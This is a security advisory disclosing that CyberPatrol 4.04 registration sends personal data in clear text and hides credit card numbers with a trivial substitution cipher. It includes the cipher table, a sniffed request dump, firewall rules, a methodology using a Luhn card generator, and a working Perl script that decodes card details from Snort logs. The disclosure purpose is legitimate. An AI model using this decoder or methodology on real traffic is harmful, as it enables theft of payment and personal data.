COMMAND
CyberPatrol
SYSTEMS AFFECTED
CyberPatrol 4.04.003 & 4.04.005 (possibly all other versions)
PROBLEM
Joey Maier and Dan Kaminskyfound found following. All registration
info except the credit card # is sent in clear text, and the card
number is obfuscated with a trivial substitution cipher.
A simple program written in Perl is included with this advisory;
given logs from the Snort network sniffer, it will display full
registration and credit card information.
CyberPatrol is a controversial but popular product for censoring
family, library, and corporate computer systems against
(ostensibly) sexual, hateful, or other forbidden categories of
websites. (The liberties that CyberPatrol has taken with these
categories, combined with their extensive legal actions against
those who exposed such liberties, caused the Library of Congress
to enact a special exemption defending those who CyberPatrol's
authors were attacking).
Registration for CyberPatrol is handled directly by the software,
rather than through an SSL-encrypted web interface. The client,
downloadable from http://www.cyberpatrol.com, presents the user
with a registration form requesting standard information as well.
Before any information is sent to Microsys, the client verifies
that the credit card number qualifies as a valid Luhn number.
Credit cards are Luhn numbers. More info on the Luhn Formula can
be found at:
http://perl.about.com/compute/perl/library/weekly/aa080600a.htm
http://perl.about.com/compute/perl/library/weekly/aa073000a.htm
Assuming it is, the client sends the registration information to
cybercentral.microsys.com (204.57.42.15) via normal http. (It
uses a POST request.) The email address, expiration date of the
credit card, name, address, and phone number are all sent in
clear text, without any attempt to obfuscate or encrypt. (Please
note that the form, which is illustrated at
http://www.cyberpatrol.com/trial/reg_sof.htm, claims that
"the above information will be scrambled before being sent".)
The credit card information is not much better off: It is sent
using an extraordinarily ineffective substitution cipher,
equivalent to that which may be found in the games pages of many
newspapers. This code is as follows:
0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s
The following is an example of a POST request which is destined
for cybercentral.microsys.com (the card number was generated for
this test only and was never submitted).
===================================================================
07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80
TCP TTL:128 TOS:0xF8 ID:2048 DF
***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238
50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/
48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A
67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr
6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*.
0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a
70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www
2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded
0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length
3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m
61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com
26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez
7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0
39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20
4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600
25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania%
32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR
32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt
6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|%
32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P
48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2
30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN=
37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR
4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P
72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20
33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C
4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04.
30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M
53 49 2D 57 45 42
===================================================================
Similar information could be found in the logs of a corporate
or educational proxy administrator; the important thing to note is
the amount of personal information plainly visible along the right
side of the sniffed request.
Interestingly enough, it appears the client determines its own
price. Oops.
All that is required for an attacker to retrieve this information
is for a sniffer to be placed upstream before 204.57.42.15, the
IP address of Microsys's servers. Microsys has no method in
place to detect, address, or reasonably frustrate such a sniffer.
Methodology:
1. Download and install CyberPatrol client.
2. Take a firewall with advanced configurability (Novell's
BorderManager lacks advanced configurability) and configure
it to block PUSH-ACK and RST packets.
These are the IPFilter rules used in the methodology
described above. (Obviously, there's some redundancy here,
but we wanted to err on the side of caution. The IPF gods
among you can certainly produce a cleaner ruleset.)
============================================================
block in on ne1 proto tcp from any to any
block in quick on ne1 proto tcp from any to any flags R
block out quick on ne1 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to any flags R
block out quick on ne0 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24
pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S
pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA
============================================================
(This will allow the CyberPatrol client to do an nslookup
and handshake through the firewall, but won't let it
actually send the POST info to cybercentral.microsys.com.
Test your rules first with a valid card you own; if you
got them wrong, you want to find out without being accused
of credit fraud.)
3. Execute a Luhn number generator (we used CreditMaster v. 4
from WTI) to generate some card numbers.
4. Start snort (http://www.snort.org) and use it to sniff the
POST requests that the client is trying to send.
5. Try to register (If your firewall is properly blocking the
POST request, this will fail and the cyberpatrol client will
hang)
6. use the perl script below to parse the snort log and dump
the credit card information to stdout in plain text.
Here's an example of the output from the perl script included
below:
$ ./cpetrol.pl
EMAIL=maierj@home.com
CARD=4128624250251572
EXP=0502
NAME=Joey Maier
ADDR1=1600 Pennsylvania Ave. NW
ADDR2=
CITY=Washington | DC | 20500 |
PHONE=202 456 1414
#################################################
# Name: cpetrol.pl
#
# Author: Joey Maier <maierj@home.com>
#
# purpose: parse snort logs of cyberpatrol
# registration and dump the registration
# information (including the credit
# card numbers) in plain text to
# stdout.
#
# useage: ./cpetrol.pl
#
# requirements: You have to have a snort log
# of the registration, it has
# to be named "log", and it
# needs to be in this directory
#
# Greets: Thanks to Dan Kaminsky for his
# help in researching this bug.
#
#################################################
#!/usr/bin/perl
$showline=0;
open(SNORT, "log");
LINE:while($line=<SNORT>){
@field=split /\s/, $line;
if($#field>0 && $#field<15){next LINE;}
if(!($line=~/\w/)){
$registerinfo=~s/\%20/ /g;
$registerinfo=~s/\%40/@/g;
($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
@array=split /\&/, $registerinfo;
if($array[0]=~/EMAIL/){print "$array[0]\n";}
if($array[1]=~/CARD/){print "CARD=";}
@chararray=split //, $array[1];
$arraylength=$#chararray;
for($i=0; $i<$arraylength+1; ++$i){
if($chararray[$i]=~/\%/){
$checkchar="$chararray[$i]";
$checkchar.="$chararray[$i+1]";
$checkchar.="$chararray[$i+2]";
$i=$i+2;
}
else{$checkchar="$chararray[$i]";}
if($checkchar=~/z/){print "0";}
elsif($checkchar=~/{/){print "1";}
elsif($checkchar=~/x/){print "2";}
elsif($checkchar=~/y/){print "3";}
elsif($checkchar=~/\%7E/){print "4";}
elsif($checkchar=~/\./){print "5";}
elsif($checkchar=~/\|/){print "6";}
elsif($checkchar=~/\}/){print "7";}
elsif($checkchar=~/r/){print "8";}
elsif($checkchar=~/s/){print "9";}
}
if($array[2]=~/EXP/){print "\n$array[2]\n";}
if($array[3]=~/NAME/){print "$array[3]\n";}
if($array[4]=~/ADDR1/){print "$array[4]\n";}
if($array[5]=~/ADDR2/){print "$array[5]\n";}
if($array[6]=~/CITY/){print "$array[6]\n";}
if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}
$registerinfo="";
$showline=0;
}
if($line=~/POST/){$showline=1}
if($showline eq 1){
($junk, $line)=split / /, $line;
chomp($line);
$registerinfo.=$line;
}
}
SOLUTION
None available. Don't install this product until they fix their
registration process. If you must install this product, consider
using AntiSniff (http://www.l0pht.com/antisniff/) before hand to
make sure there are no unauthorized sniffers running on your
local network.